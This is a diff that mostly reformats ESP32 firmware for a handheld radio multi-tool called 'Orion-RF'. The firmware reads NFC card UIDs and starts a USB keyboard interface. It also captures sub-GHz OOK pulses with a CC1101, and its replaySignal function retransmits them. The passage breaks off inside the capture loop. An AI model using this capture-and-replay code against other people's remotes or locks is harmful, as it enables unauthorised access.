| 60 | + | Serial.printf("PSRAM free: %d bytes\n", | |
| 61 | + | heap_caps_get_free_size(MALLOC_CAP_SPIRAM)); | |
| 71 | 62 | } | |
| 72 | 63 | ||
| 73 | − | void showSplash() | |
| 74 | − | { | |
| 75 | − | u8g2.clearBuffer(); | |
| 64 | + | void showSplash() { | |
| 65 | + | u8g2.clearBuffer(); | |
| 76 | 66 | ||
| 77 | − | u8g2.setFont(u8g2_font_logisoso20_tr); // big font | |
| 78 | − | u8g2.drawStr(10, 40, "Orion-RF"); | |
| 67 | + | u8g2.setFont(u8g2_font_logisoso20_tr); // big font | |
| 68 | + | u8g2.drawStr(10, 40, "Orion-RF"); | |
| 79 | 69 | ||
| 80 | − | u8g2.setFont(u8g2_font_5x8_tr); // small subtitle | |
| 81 | − | u8g2.drawStr(25, 58, "Initializing..."); | |
| 70 | + | u8g2.setFont(u8g2_font_5x8_tr); // small subtitle | |
| 71 | + | u8g2.drawStr(25, 58, "Initializing..."); | |
| 82 | 72 | ||
| 83 | − | u8g2.sendBuffer(); | |
| 73 | + | u8g2.sendBuffer(); | |
| 84 | 74 | ||
| 85 | − | delay(1500); // 1.5 sec | |
| 75 | + | delay(1500); // 1.5 sec | |
| 86 | 76 | } | |
| 87 | 77 | ||
| 88 | − | ||
| 89 | 78 | // ================= SETUP ================= | |
| 90 | − | void setup() | |
| 91 | − | { | |
| 92 | − | Serial.begin(115200); | |
| 79 | + | void setup() { | |
| 80 | + | Serial.begin(115200); | |
| 93 | 81 | ||
| 94 | − | displayInit(); | |
| 95 | − | showSplash(); | |
| 82 | + | displayInit(); | |
| 83 | + | showSplash(); | |
| 96 | 84 | ||
| 97 | − | buttonsInit(); | |
| 98 | − | menuInit(); | |
| 85 | + | buttonsInit(); | |
| 86 | + | menuInit(); | |
| 99 | 87 | ||
| 100 | − | delay(1500); | |
| 88 | + | delay(1500); | |
| 101 | 89 | ||
| 102 | − | USB.begin(); | |
| 103 | − | Keyboard.begin(); | |
| 90 | + | USB.begin(); | |
| 91 | + | Keyboard.begin(); | |
| 104 | 92 | ||
| 93 | + | // NRF SPI safety | |
| 94 | + | // pinMode(CSN1_PIN, OUTPUT); | |
| 95 | + | // digitalWrite(CSN1_PIN, HIGH); | |
| 105 | 96 | ||
| 97 | + | // pinMode(CSN2_PIN, OUTPUT); | |
| 98 | + | // digitalWrite(CSN2_PIN, HIGH); | |
| 99 | + | deactivateNRF1(); | |
| 100 | + | deactivateNRF2(); | |
| 106 | 101 | ||
| 107 | − | // NRF SPI safety | |
| 108 | − | //pinMode(CSN1_PIN, OUTPUT); | |
| 109 | − | //digitalWrite(CSN1_PIN, HIGH); | |
| 102 | + | RADIO_SPI = new SPIClass(FSPI); | |
| 103 | + | RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI); | |
| 110 | 104 | ||
| 111 | − | //pinMode(CSN2_PIN, OUTPUT); | |
| 112 | − | //digitalWrite(CSN2_PIN, HIGH); | |
| 113 | − | deactivateNRF1(); | |
| 114 | − | deactivateNRF2(); | |
| 105 | + | // ===== CC1101 SPI INIT ===== | |
| 106 | + | // SPI.begin( | |
| 107 | + | // cc1101_SCK, | |
| 108 | + | // cc1101_MISO, | |
| 109 | + | // cc1101_MOSI, | |
| 110 | + | // CC1101_CS | |
| 111 | + | //); | |
| 115 | 112 | ||
| 116 | − | RADIO_SPI = new SPIClass(FSPI); | |
| 117 | − | RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI); | |
| 113 | + | // pinMode(CC1101_CS, OUTPUT); | |
| 114 | + | // pinMode(CC1101_2_CS, OUTPUT); | |
| 118 | 115 | ||
| 119 | − | // ===== CC1101 SPI INIT ===== | |
| 120 | − | //SPI.begin( | |
| 121 | − | // cc1101_SCK, | |
| 122 | − | // cc1101_MISO, | |
| 123 | − | // cc1101_MOSI, | |
| 124 | − | // CC1101_CS | |
| 125 | − | //); | |
| 116 | + | // digitalWrite(CC1101_CS, HIGH); | |
| 117 | + | // digitalWrite(CC1101_2_CS, HIGH); | |
| 126 | 118 | ||
| 127 | − | //pinMode(CC1101_CS, OUTPUT); | |
| 128 | − | //pinMode(CC1101_2_CS, OUTPUT); | |
| 119 | + | printSystemUsage(); | |
| 129 | 120 | ||
| 130 | − | //digitalWrite(CC1101_CS, HIGH); | |
| 131 | − | //digitalWrite(CC1101_2_CS, HIGH); | |
| 132 | − | ||
| 133 | − | printSystemUsage(); | |
| 134 | − | ||
| 135 | − | Serial.println("SYSTEM READY"); | |
| 121 | + | Serial.println("SYSTEM READY"); | |
| 136 | 122 | } | |
| 137 | 123 | ||
| 138 | 124 | // ================= LOOP ================= | |
| 139 | − | void loop() | |
| 140 | − | { | |
| 141 | − | menuLoop(); | |
| 142 | − | } | |
| 125 | + | void loop() { menuLoop(); } | |
| @@ -1,117 +1,104 @@ | |||
| 1 | 1 | #include "nfc.h" | |
| 2 | 2 | ||
| 3 | + | #include <Adafruit_PN532.h> | |
| 3 | 4 | #include <Arduino.h> | |
| 4 | 5 | #include <Wire.h> | |
| 5 | − | #include <Adafruit_PN532.h> | |
| 6 | 6 | ||
| 7 | − | #include "ui/display.h" | |
| 8 | − | #include "../utils/buttons.h" | |
| 9 | 7 | #include "../config.h" | |
| 8 | + | #include "../utils/buttons.h" | |
| 9 | + | #include "ui/display.h" | |
| 10 | 10 | ||
| 11 | − | #define PN532_IRQ -1 | |
| 11 | + | #define PN532_IRQ -1 | |
| 12 | 12 | #define PN532_RESET -1 | |
| 13 | 13 | ||
| 14 | − | //Adafruit_PN532 nfc(Wire); | |
| 14 | + | // Adafruit_PN532 nfc(Wire); | |
| 15 | 15 | Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire); | |
| 16 | 16 | ||
| 17 | − | void drawWaiting() | |
| 18 | − | { | |
| 19 | − | u8g2.clearBuffer(); | |
| 17 | + | void drawWaiting() { | |
| 18 | + | u8g2.clearBuffer(); | |
| 20 | 19 | ||
| 21 | − | u8g2.drawStr(10, 20, "PN532 Ready"); | |
| 22 | − | u8g2.drawStr(10, 40, "Tap NFC Card"); | |
| 20 | + | u8g2.drawStr(10, 20, "PN532 Ready"); | |
| 21 | + | u8g2.drawStr(10, 40, "Tap NFC Card"); | |
| 23 | 22 | ||
| 24 | − | u8g2.sendBuffer(); | |
| 23 | + | u8g2.sendBuffer(); | |
| 25 | 24 | } | |
| 26 | 25 | ||
| 27 | − | void showUID(uint8_t *uid, uint8_t uidLength) | |
| 28 | − | { | |
| 29 | − | char line[64]; | |
| 26 | + | void showUID(uint8_t *uid, uint8_t uidLength) { | |
| 27 | + | char line[64]; | |
| 30 | 28 | ||
| 31 | − | String uidStr = ""; | |
| 29 | + | String uidStr = ""; | |
| 32 | 30 | ||
| 33 | − | for (int i = 0; i < uidLength; i++) | |
| 34 | − | { | |
| 35 | − | if (uid[i] < 0x10) | |
| 36 | − | uidStr += "0"; | |
| 31 | + | for (int i = 0; i < uidLength; i++) { | |
| 32 | + | if (uid[i] < 0x10) | |
| 33 | + | uidStr += "0"; | |
| 37 | 34 | ||
| 38 | − | uidStr += String(uid[i], HEX); | |
| 39 | − | uidStr += " "; | |
| 40 | − | } | |
| 35 | + | uidStr += String(uid[i], HEX); | |
| 36 | + | uidStr += " "; | |
| 37 | + | } | |
| 41 | 38 | ||
| 42 | − | uidStr.toUpperCase(); | |
| 39 | + | uidStr.toUpperCase(); | |
| 43 | 40 | ||
| 44 | − | u8g2.clearBuffer(); | |
| 41 | + | u8g2.clearBuffer(); | |
| 45 | 42 | ||
| 46 | − | u8g2.drawStr(0, 15, "Card Detected"); | |
| 43 | + | u8g2.drawStr(0, 15, "Card Detected"); | |
| 47 | 44 | ||
| 48 | − | snprintf(line, sizeof(line), "UID:"); | |
| 45 | + | snprintf(line, sizeof(line), "UID:"); | |
| 49 | 46 | ||
| 50 | − | u8g2.drawStr(0, 35, line); | |
| 47 | + | u8g2.drawStr(0, 35, line); | |
| 51 | 48 | ||
| 52 | − | u8g2.drawStr(0, 50, uidStr.c_str()); | |
| 49 | + | u8g2.drawStr(0, 50, uidStr.c_str()); | |
| 53 | 50 | ||
| 54 | − | u8g2.sendBuffer(); | |
| 51 | + | u8g2.sendBuffer(); | |
| 55 | 52 | } | |
| 56 | 53 | ||
| 57 | − | void pn532_init() | |
| 58 | − | { | |
| 59 | − | delay(100); | |
| 60 | − | nfc.begin(); | |
| 61 | − | delay(100); | |
| 54 | + | void pn532_init() { | |
| 55 | + | delay(100); | |
| 56 | + | nfc.begin(); | |
| 57 | + | delay(100); | |
| 62 | 58 | ||
| 63 | − | uint32_t versiondata = nfc.getFirmwareVersion(); | |
| 59 | + | uint32_t versiondata = nfc.getFirmwareVersion(); | |
| 64 | 60 | ||
| 65 | − | if (!versiondata) | |
| 66 | − | { | |
| 67 | − | Serial.println("PN532 not found"); | |
| 61 | + | if (!versiondata) { | |
| 62 | + | Serial.println("PN532 not found"); | |
| 68 | 63 | ||
| 69 | − | u8g2.clearBuffer(); | |
| 70 | − | u8g2.drawStr(0, 20, "PN532 NOT FOUND"); | |
| 71 | − | u8g2.sendBuffer(); | |
| 64 | + | u8g2.clearBuffer(); | |
| 65 | + | u8g2.drawStr(0, 20, "PN532 NOT FOUND"); | |
| 66 | + | u8g2.sendBuffer(); | |
| 72 | 67 | ||
| 73 | − | delay(2000); | |
| 74 | − | return; | |
| 75 | − | } | |
| 68 | + | delay(2000); | |
| 69 | + | return; | |
| 70 | + | } | |
| 76 | 71 | ||
| 77 | − | Serial.println("PN532 initialized"); | |
| 72 | + | Serial.println("PN532 initialized"); | |
| 78 | 73 | ||
| 79 | − | nfc.SAMConfig(); | |
| 74 | + | nfc.SAMConfig(); | |
| 80 | 75 | } | |
| 81 | 76 | ||
| 82 | − | void pn532_scan_loop() | |
| 83 | − | { | |
| 84 | − | pn532_init(); | |
| 77 | + | void pn532_scan_loop() { | |
| 78 | + | pn532_init(); | |
| 85 | 79 | ||
| 86 | − | drawWaiting(); | |
| 80 | + | drawWaiting(); | |
| 87 | 81 | ||
| 88 | − | while (1) | |
| 89 | − | { | |
| 90 | − | uint8_t success; | |
| 91 | − | uint8_t uid[7]; | |
| 92 | − | uint8_t uidLength; | |
| 82 | + | while (1) { | |
| 83 | + | uint8_t success; | |
| 84 | + | uint8_t uid[7]; | |
| 85 | + | uint8_t uidLength; | |
| 93 | 86 | ||
| 94 | − | Serial.println("Scanning..."); | |
| 95 | − | success = nfc.readPassiveTargetID( | |
| 96 | − | PN532_MIFARE_ISO14443A, | |
| 97 | − | uid, | |
| 98 | − | &uidLength, | |
| 99 | − | 50 | |
| 100 | − | ); | |
| 87 | + | Serial.println("Scanning..."); | |
| 88 | + | success = | |
| 89 | + | nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength, 50); | |
| 101 | 90 | ||
| 102 | − | if (success) | |
| 103 | − | { | |
| 104 | − | Serial.println("Card detected"); | |
| 91 | + | if (success) { | |
| 92 | + | Serial.println("Card detected"); | |
| 105 | 93 | ||
| 106 | − | showUID(uid, uidLength); | |
| 94 | + | showUID(uid, uidLength); | |
| 107 | 95 | ||
| 108 | − | delay(1000); | |
| 109 | − | } | |
| 96 | + | delay(1000); | |
| 97 | + | } | |
| 110 | 98 | ||
| 111 | − | if (btnBack()) | |
| 112 | − | { | |
| 113 | − | delay(150); | |
| 114 | − | break; | |
| 115 | − | } | |
| 99 | + | if (btnBack()) { | |
| 100 | + | delay(150); | |
| 101 | + | break; | |
| 116 | 102 | } | |
| 103 | + | } | |
| 117 | 104 | } | |
| @@ -1,10 +1,10 @@ | |||
| 1 | − | #include <Arduino.h> | |
| 2 | − | #include "../libs/ELECHOUSE_CC1101_SRC_DRV.h" | |
| 3 | 1 | #include "cc1101.h" | |
| 4 | 2 | #include "../config.h" | |
| 5 | − | #include "SPI.h" | |
| 3 | + | #include "../libs/ELECHOUSE_CC1101_SRC_DRV.h" | |
| 6 | 4 | #include "../ui/display.h" | |
| 7 | 5 | #include "../utils/buttons.h" | |
| 6 | + | #include "SPI.h" | |
| 7 | + | #include <Arduino.h> | |
| 8 | 8 | ||
| 9 | 9 | // ===== CONFIG ===== | |
| 10 | 10 | #define RAW_BUF_MAX 512 | |
| @@ -26,383 +26,332 @@ float rxBW = 325.0; | |||
| 26 | 26 | int powerLevel = 10; | |
| 27 | 27 | ||
| 28 | 28 | // ===== ISR ===== | |
| 29 | − | void IRAM_ATTR pulseISR() | |
| 30 | − | { | |
| 31 | − | unsigned long now = micros(); | |
| 29 | + | void IRAM_ATTR pulseISR() { | |
| 30 | + | unsigned long now = micros(); | |
| 32 | 31 | ||
| 33 | − | if (!capturing) return; | |
| 34 | − | if (pulseIndex >= RAW_BUF_MAX) return; | |
| 32 | + | if (!capturing) | |
| 33 | + | return; | |
| 34 | + | if (pulseIndex >= RAW_BUF_MAX) | |
| 35 | + | return; | |
| 35 | 36 | ||
| 36 | − | unsigned long duration = now - lastEdgeTime; | |
| 37 | + | unsigned long duration = now - lastEdgeTime; | |
| 37 | 38 | ||
| 38 | − | if (duration < 150) return; | |
| 39 | + | if (duration < 150) | |
| 40 | + | return; | |
| 39 | 41 | ||
| 40 | − | captureBuffer[pulseIndex++] = duration; | |
| 41 | − | lastEdgeTime = now; | |
| 42 | + | captureBuffer[pulseIndex++] = duration; | |
| 43 | + | lastEdgeTime = now; | |
| 42 | 44 | } | |
| 43 | 45 | ||
| 44 | 46 | // ===== OOK SETUP ===== | |
| 45 | − | void setupOOKMode() | |
| 46 | − | { | |
| 47 | − | ELECHOUSE_cc1101.SetRx(); | |
| 48 | − | ELECHOUSE_cc1101.setMHZ(currentFreq); | |
| 49 | − | ||
| 50 | − | ELECHOUSE_cc1101.setModulation(2); // ASK/OOK | |
| 51 | − | ELECHOUSE_cc1101.setDRate(dataRate); | |
| 52 | − | ELECHOUSE_cc1101.setDeviation(0); | |
| 53 | − | ELECHOUSE_cc1101.setRxBW(rxBW); | |
| 54 | − | ELECHOUSE_cc1101.setSyncMode(0); | |
| 55 | − | ELECHOUSE_cc1101.setPA(powerLevel); | |
| 47 | + | void setupOOKMode() { | |
| 48 | + | ELECHOUSE_cc1101.SetRx(); | |
| 49 | + | ELECHOUSE_cc1101.setMHZ(currentFreq); | |
| 50 | + | ||
| 51 | + | ELECHOUSE_cc1101.setModulation(2); // ASK/OOK | |
| 52 | + | ELECHOUSE_cc1101.setDRate(dataRate); | |
| 53 | + | ELECHOUSE_cc1101.setDeviation(0); | |
| 54 | + | ELECHOUSE_cc1101.setRxBW(rxBW); | |
| 55 | + | ELECHOUSE_cc1101.setSyncMode(0); | |
| 56 | + | ELECHOUSE_cc1101.setPA(powerLevel); | |
| 56 | 57 | } | |
| 57 | 58 | ||
| 58 | 59 | // ===== INIT (LAZY, SAFE) ===== | |
| 59 | 60 | // ================= CC1101 INIT ================= | |
| 60 | − | bool initCC1101() | |
| 61 | − | { | |
| 62 | − | Serial.println(); | |
| 63 | − | Serial.println("===== CC1101 INIT ====="); | |
| 64 | − | ||
| 65 | − | // ===== SPI ===== | |
| 66 | − | SPI.begin( | |
| 67 | − | cc1101_SCK, | |
| 68 | − | cc1101_MISO, | |
| 69 | − | cc1101_MOSI, | |
| 70 | − | CC1101_CS | |
| 71 | − | ); | |
| 72 | − | ||
| 73 | − | pinMode(CC1101_CS, OUTPUT); | |
| 74 | − | digitalWrite(CC1101_CS, HIGH); | |
| 75 | − | ||
| 76 | − | delay(100); | |
| 77 | − | ||
| 78 | − | // ===== GDO ===== | |
| 79 | − | ELECHOUSE_cc1101.setGDO( | |
| 80 | − | CC1101_GDO0, | |
| 81 | − | -1 | |
| 82 | − | ); | |
| 83 | − | ||
| 84 | − | ELECHOUSE_cc1101.setSpiPin( | |
| 85 | − | cc1101_SCK, | |
| 86 | − | cc1101_MISO, | |
| 87 | − | cc1101_MOSI, | |
| 88 | − | CC1101_CS | |
| 89 | − | ); | |
| 90 | − | ||
| 91 | − | // ===== DETECT ===== | |
| 92 | − | Serial.println("Checking chip..."); | |
| 93 | − | ||
| 94 | − | if (!ELECHOUSE_cc1101.getCC1101()) | |
| 95 | − | { | |
| 96 | − | Serial.println("❌ CC1101 NOT FOUND"); | |
| 97 | − | return false; | |
| 98 | − | } | |
| 61 | + | bool initCC1101() { | |
| 62 | + | Serial.println(); | |
| 63 | + | Serial.println("===== CC1101 INIT ====="); | |
| 64 | + | ||
| 65 | + | // ===== SPI ===== | |
| 66 | + | SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS); | |
| 67 | + | ||
| 68 | + | pinMode(CC1101_CS, OUTPUT); | |
| 69 | + | digitalWrite(CC1101_CS, HIGH); | |
| 70 | + | ||
| 71 | + | delay(100); | |
| 72 | + | ||
| 73 | + | // ===== GDO ===== | |
| 74 | + | ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1); | |
| 75 | + | ||
| 76 | + | ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS); | |
| 77 | + | ||
| 78 | + | // ===== DETECT ===== | |
| 79 | + | Serial.println("Checking chip..."); | |
| 99 | 80 | ||
| 100 | − | Serial.println("✅ CC1101 FOUND"); | |
| 81 | + | if (!ELECHOUSE_cc1101.getCC1101()) { | |
| 82 | + | Serial.println("❌ CC1101 NOT FOUND"); | |
| 83 | + | return false; | |
| 84 | + | } | |
| 101 | 85 | ||
| 102 | − | // ===== IMPORTANT ===== | |
| 103 | − | // DO NOT CALL Init() | |
| 104 | − | // it freezes on some ESP32-S3 setups | |
| 86 | + | Serial.println("✅ CC1101 FOUND"); | |
| 105 | 87 | ||
| 106 | − | // ===== MANUAL CONFIG ===== | |
| 107 | − | ELECHOUSE_cc1101.setMHZ(currentFreq); | |
| 88 | + | // ===== IMPORTANT ===== | |
| 89 | + | // DO NOT CALL Init() | |
| 90 | + | // it freezes on some ESP32-S3 setups | |
| 108 | 91 | ||
| 109 | − | // 2 = ASK/OOK | |
| 110 | − | ELECHOUSE_cc1101.setModulation(2); | |
| 92 | + | // ===== MANUAL CONFIG ===== | |
| 93 | + | ELECHOUSE_cc1101.setMHZ(currentFreq); | |
| 111 | 94 | ||
| 112 | − | ELECHOUSE_cc1101.setDRate(dataRate); | |
| 95 | + | // 2 = ASK/OOK | |
| 96 | + | ELECHOUSE_cc1101.setModulation(2); | |
| 113 | 97 | ||
| 114 | − | ELECHOUSE_cc1101.setRxBW(rxBW); | |
| 98 | + | ELECHOUSE_cc1101.setDRate(dataRate); | |
| 115 | 99 | ||
| 116 | − | ELECHOUSE_cc1101.setDeviation(0); | |
| 100 | + | ELECHOUSE_cc1101.setRxBW(rxBW); | |
| 117 | 101 | ||
| 118 | − | // disable sync requirement | |
| 119 | − | ELECHOUSE_cc1101.setSyncMode(0); | |
| 102 | + | ELECHOUSE_cc1101.setDeviation(0); | |
| 120 | 103 | ||
| 121 | − | ELECHOUSE_cc1101.setPA(powerLevel); | |
| 104 | + | // disable sync requirement | |
| 105 | + | ELECHOUSE_cc1101.setSyncMode(0); | |
| 122 | 106 | ||
| 123 | − | // async serial mode | |
| 124 | − | ELECHOUSE_cc1101.setCCMode(0); | |
| 107 | + | ELECHOUSE_cc1101.setPA(powerLevel); | |
| 125 | 108 | ||
| 126 | − | // enter RX | |
| 127 | − | ELECHOUSE_cc1101.SetRx(); | |
| 109 | + | // async serial mode | |
| 110 | + | ELECHOUSE_cc1101.setCCMode(0); | |
| 128 | 111 | ||
| 129 | − | pinMode(CC1101_GDO0, INPUT); | |
| 112 | + | // enter RX | |
| 113 | + | ELECHOUSE_cc1101.SetRx(); | |
| 130 | 114 | ||
| 131 | − | Serial.println("✅ RX MODE READY"); | |
| 115 | + | pinMode(CC1101_GDO0, INPUT); | |
| 132 | 116 | ||
| 133 | − | cc1101Inited = true; | |
| 134 | − | return true; | |
| 117 | + | Serial.println("✅ RX MODE READY"); | |
| 118 | + | ||
| 119 | + | cc1101Inited = true; | |
| 120 | + | return true; | |
| 135 | 121 | } | |
| 136 | 122 | // ===== CAPTURE CONTROL ===== | |
| 137 | − | void startCapture() | |
| 138 | − | { | |
| 139 | − | pulseIndex = 0; | |
| 140 | − | capturing = true; | |
| 141 | − | lastEdgeTime = micros(); | |
| 142 | − | ||
| 143 | − | attachInterrupt( | |
| 144 | − | digitalPinToInterrupt(CC1101_GDO0), | |
| 145 | − | pulseISR, | |
| 146 | − | CHANGE | |
| 147 | − | ); | |
| 148 | − | ||
| 149 | − | Serial.println("Looking for RF... "); | |
| 150 | − | } | |
| 123 | + | void startCapture() { | |
| 124 | + | pulseIndex = 0; | |
| 125 | + | capturing = true; | |
| 126 | + | lastEdgeTime = micros(); | |
| 151 | 127 | ||
| 152 | − | bool isCC1101Ready() { | |
| 153 | − | return cc1101Inited; | |
| 128 | + | attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE); | |
| 129 | + | ||
| 130 | + | Serial.println("Looking for RF... "); | |
| 154 | 131 | } | |
| 155 | 132 | ||
| 156 | − | void stopCapture() | |
| 157 | − | { | |
| 158 | − | capturing = false; | |
| 133 | + | bool isCC1101Ready() { return cc1101Inited; } | |
| 134 | + | ||
| 135 | + | void stopCapture() { | |
| 136 | + | capturing = false; | |
| 159 | 137 | ||
| 160 | − | detachInterrupt(digitalPinToInterrupt(CC1101_GDO0)); | |
| 138 | + | detachInterrupt(digitalPinToInterrupt(CC1101_GDO0)); | |
| 161 | 139 | ||
| 162 | − | Serial.println("Capture stopped"); | |
| 140 | + | Serial.println("Capture stopped"); | |
| 163 | 141 | } | |
| 164 | 142 | ||
| 165 | 143 | // ===== DEBUG PRINT ===== | |
| 166 | − | void printCapture() | |
| 167 | − | { | |
| 168 | − | Serial.println("Captured pulses:"); | |
| 144 | + | void printCapture() { | |
| 145 | + | Serial.println("Captured pulses:"); | |
| 169 | 146 | ||
| 170 | − | for (int i = 0; i < pulseIndex; i++) | |
| 171 | − | { | |
| 172 | − | Serial.println(captureBuffer[i]); | |
| 173 | − | } | |
| 147 | + | for (int i = 0; i < pulseIndex; i++) { | |
| 148 | + | Serial.println(captureBuffer[i]); | |
| 149 | + | } | |
| 174 | 150 | } | |
| 175 | 151 | ||
| 176 | − | ||
| 177 | 152 | // ================= REPLAY ================= | |
| 178 | − | void replaySignal() | |
| 179 | − | { | |
| 180 | − | Serial.println(); | |
| 181 | − | Serial.println("Replaying signal..."); | |
| 153 | + | void replaySignal() { | |
| 154 | + | Serial.println(); | |
| 155 | + | Serial.println("Replaying signal..."); | |
| 182 | 156 | ||
| 183 | − | stopCapture(); | |
| 157 | + | stopCapture(); | |
| 184 | 158 | ||
| 185 | − | ELECHOUSE_cc1101.SetTx(); | |
| 159 | + | ELECHOUSE_cc1101.SetTx(); | |
| 186 | 160 | ||
| 187 | − | pinMode(CC1101_GDO0, OUTPUT); | |
| 161 | + | pinMode(CC1101_GDO0, OUTPUT); | |
| 188 | 162 | ||
| 189 | − | for (int i = 0; i < pulseIndex; i++) | |
| 190 | − | { | |
| 191 | − | digitalWrite( | |
| 192 | − | CC1101_GDO0, | |
| 193 | − | (i % 2 == 0) ? HIGH : LOW | |
| 194 | − | ); | |
| 163 | + | for (int i = 0; i < pulseIndex; i++) { | |
| 164 | + | digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW); | |
| 195 | 165 | ||
| 196 | − | delayMicroseconds(captureBuffer[i]); | |
| 197 | − | } | |
| 166 | + | delayMicroseconds(captureBuffer[i]); | |
| 167 | + | } | |
| 198 | 168 | ||
| 199 | − | digitalWrite(CC1101_GDO0, LOW); | |
| 169 | + | digitalWrite(CC1101_GDO0, LOW); | |
| 200 | 170 | ||
| 201 | − | ELECHOUSE_cc1101.SetRx(); | |
| 171 | + | ELECHOUSE_cc1101.SetRx(); | |
| 202 | 172 | ||
| 203 | − | pinMode(CC1101_GDO0, INPUT); | |
| 173 | + | pinMode(CC1101_GDO0, INPUT); | |
| 204 | 174 | ||
| 205 | − | Serial.println("Replay complete"); | |
| 175 | + | Serial.println("Replay complete"); | |
| 206 | 176 | } | |
| 207 | 177 | ||
| 208 | − | ||
| 209 | − | void captureAndDisplay() | |
| 210 | − | { | |
| 211 | − | if (!cc1101Inited) | |
| 212 | − | { | |
| 213 | − | if (!initCC1101()) | |
| 214 | − | { | |
| 215 | − | u8g2.clearBuffer(); | |
| 216 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 217 | − | u8g2.drawStr(0, 20, "CC1101 Failed"); | |
| 218 | − | u8g2.sendBuffer(); | |
| 219 | − | return; | |
| 220 | − | } | |
| 178 | + | void captureAndDisplay() { | |
| 179 | + | if (!cc1101Inited) { | |
| 180 | + | if (!initCC1101()) { | |
| 181 | + | u8g2.clearBuffer(); | |
| 182 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 183 | + | u8g2.drawStr(0, 20, "CC1101 Failed"); | |
| 184 | + | u8g2.sendBuffer(); | |
| 185 | + | return; | |
| 221 | 186 | } | |
| 187 | + | } | |
| 188 | + | ||
| 189 | + | startCapture(); | |
| 190 | + | ||
| 191 | + | u8g2.clearBuffer(); | |
| 192 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 193 | + | u8g2.drawStr(0, 12, "CC1101 Capture"); | |
| 194 | + | u8g2.drawStr(0, 28, "Waiting RF..."); | |
| 195 | + | u8g2.drawStr(0, 60, "BACK = Exit"); | |
| 196 | + | u8g2.sendBuffer(); | |
| 222 | 197 | ||
| 223 | − | startCapture(); | |
| 198 | + | unsigned long lastSignal = millis(); | |
| 199 | + | int lastPulseCount = 0; | |
| 224 | 200 | ||
| 201 | + | while (true) { | |
| 202 | + | // signal detected | |
| 203 | + | if (pulseIndex > lastPulseCount) { | |
| 204 | + | lastPulseCount = pulseIndex; | |
| 205 | + | lastSignal = millis(); | |
| 206 | + | } | |
| 207 | + | ||
| 208 | + | // update OLED | |
| 225 | 209 | u8g2.clearBuffer(); | |
| 226 | 210 | u8g2.setFont(u8g2_font_6x10_tr); | |
| 211 | + | ||
| 227 | 212 | u8g2.drawStr(0, 12, "CC1101 Capture"); | |
| 228 | − | u8g2.drawStr(0, 28, "Waiting RF..."); | |
| 229 | − | u8g2.drawStr(0, 60, "BACK = Exit"); | |
| 213 | + | ||
| 214 | + | u8g2.setCursor(0, 28); | |
| 215 | + | u8g2.print("Pulses: "); | |
| 216 | + | u8g2.print(pulseIndex); | |
| 217 | + | ||
| 218 | + | u8g2.setCursor(0, 42); | |
| 219 | + | u8g2.print("Freq: "); | |
| 220 | + | u8g2.print(currentFreq); | |
| 221 | + | u8g2.print(" MHz"); | |
| 222 | + | ||
| 223 | + | if (pulseIndex > 0) { | |
| 224 | + | u8g2.drawStr(0, 54, "Signal Detected"); | |
| 225 | + | } else { | |
| 226 | + | u8g2.drawStr(0, 54, "Waiting..."); | |
| 227 | + | } | |
| 228 | + | ||
| 230 | 229 | u8g2.sendBuffer(); | |
| 231 | 230 | ||
| 232 | − | unsigned long lastSignal = millis(); | |
| 233 | − | int lastPulseCount = 0; | |
| 234 | − | ||
| 235 | − | while (true) | |
| 236 | − | { | |
| 237 | − | // signal detected | |
| 238 | − | if (pulseIndex > lastPulseCount) | |
| 239 | − | { | |
| 240 | − | lastPulseCount = pulseIndex; | |
| 241 | − | lastSignal = millis(); | |
| 242 | − | } | |
| 243 | − | ||
| 244 | − | // update OLED | |
| 245 | − | u8g2.clearBuffer(); | |
| 246 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 247 | − | ||
| 248 | − | u8g2.drawStr(0, 12, "CC1101 Capture"); | |
| 249 | − | ||
| 250 | − | u8g2.setCursor(0, 28); | |
| 251 | − | u8g2.print("Pulses: "); | |
| 252 | − | u8g2.print(pulseIndex); | |
| 253 | − | ||
| 254 | − | u8g2.setCursor(0, 42); | |
| 255 | − | u8g2.print("Freq: "); | |
| 256 | − | u8g2.print(currentFreq); | |
| 257 | − | u8g2.print(" MHz"); | |
| 258 | − | ||
| 259 | − | if (pulseIndex > 0) | |
| 260 | − | { | |
| 261 | − | u8g2.drawStr(0, 54, "Signal Detected"); | |
| 262 | − | } | |
| 263 | − | else | |
| 264 | − | { | |
| 265 | − | u8g2.drawStr(0, 54, "Waiting..."); | |
| 266 | − | } | |
| 267 | − | ||
| 268 | − | u8g2.sendBuffer(); | |
| 269 | − | ||
| 270 | − | // auto print once capture stabilizes | |
| 271 | − | if (pulseIndex > 20 && (millis() - lastSignal > 1500)) | |
| 272 | − | { | |
| 273 | − | stopCapture(); | |
| 274 | − | ||
| 275 | − | Serial.println(); | |
| 276 | − | Serial.println("===== RF CAPTURE ====="); | |
| 277 | − | ||
| 278 | − | for (int i = 0; i < pulseIndex; i++) | |
| 279 | − | { | |
| 280 | − | Serial.print(captureBuffer[i]); | |
| 281 | − | Serial.print(", "); | |
| 282 | − | } | |
| 283 | − | ||
| 284 | − | Serial.println(); | |
| 285 | − | ||
| 286 | − | u8g2.clearBuffer(); | |
| 287 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 288 | − | u8g2.drawStr(0, 15, "Capture Complete"); | |
| 289 | − | ||
| 290 | − | u8g2.setCursor(0, 35); | |
| 291 | − | } | |
| 292 | − | } | |
| 293 | − | } | |
| 231 | + | // auto print once capture stabilizes | |
| 232 | + | if (pulseIndex > 20 && (millis() - lastSignal > 1500)) { | |
| 233 | + | stopCapture(); | |
| 234 | + | ||
| 235 | + | Serial.println(); | |
| 236 | + | Serial.println("===== RF CAPTURE ====="); | |
| 237 | + | ||
| 238 | + | for (int i = 0; i < pulseIndex; i++) { | |
| 239 | + | Serial.print(captureBuffer[i]); | |
